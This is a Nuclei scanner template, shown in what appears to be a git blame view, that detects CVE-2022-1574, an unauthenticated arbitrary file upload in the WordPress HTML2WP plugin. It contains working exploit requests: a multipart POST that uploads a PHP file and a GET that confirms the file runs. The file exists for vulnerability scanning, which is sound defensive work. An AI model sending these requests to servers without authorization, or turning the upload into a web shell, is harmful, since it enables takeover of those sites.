nuclei-templates/http/cves/2022/CVE-2022-1574.yaml

60 lines
2.2 KiB
YAML
Raw Normal View History

2022-10-19 10:16:16 +00:00
id: CVE-2022-1574
info:
2022-10-25 13:40:49 +00:00
name: WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
2022-10-19 10:16:16 +00:00
author: theamanrawat
severity: critical
description: |
2022-10-25 13:40:49 +00:00
WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of the plugin or remove it if not needed.
2022-10-19 10:16:16 +00:00
reference:
- https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
- https://wordpress.org/plugins/html2wp/
2022-10-19 10:31:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1574
2022-10-19 10:16:16 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-19 10:16:16 +00:00
cve-id: CVE-2022-1574
2023-07-11 19:49:27 +00:00
cwe-id: CWE-352
2023-08-31 11:46:18 +00:00
epss-score: 0.02682
epss-percentile: 0.89327
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:wordpress:*:*
2022-10-19 10:16:16 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: html2wp_project
product: html2wp
2023-09-06 11:59:08 +00:00
framework: wordpress
tags: wp-plugin,wp,fileupload,unauth,wpscan,cve2022,wordpress,intrusive,cve,html2wp
2022-10-19 10:16:16 +00:00
http:
2022-10-19 10:16:16 +00:00
- raw:
- |
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host: {{Hostname}}
Content-Length: 253
Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
Connection: close
-----------------------------7816508136577551742878603990
Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
Content-Type: text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990--
- |
GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_1 == 302"
- "status_code_2 == 200"
2022-10-19 10:19:42 +00:00
- "contains(body_2, 'File Upload success')"
condition: and
# digest: 4b0a004830460221009f87f8c07a85a4589e3d24fe9fa5b3da176ad230ec0a139c1d8faed182fb2d71022100a68cf223287ccf637d73a520264f79e6ba0c93f17253ef3c89bfc4cbcab1ebea:922c64590222798bb761d5b6d8e72950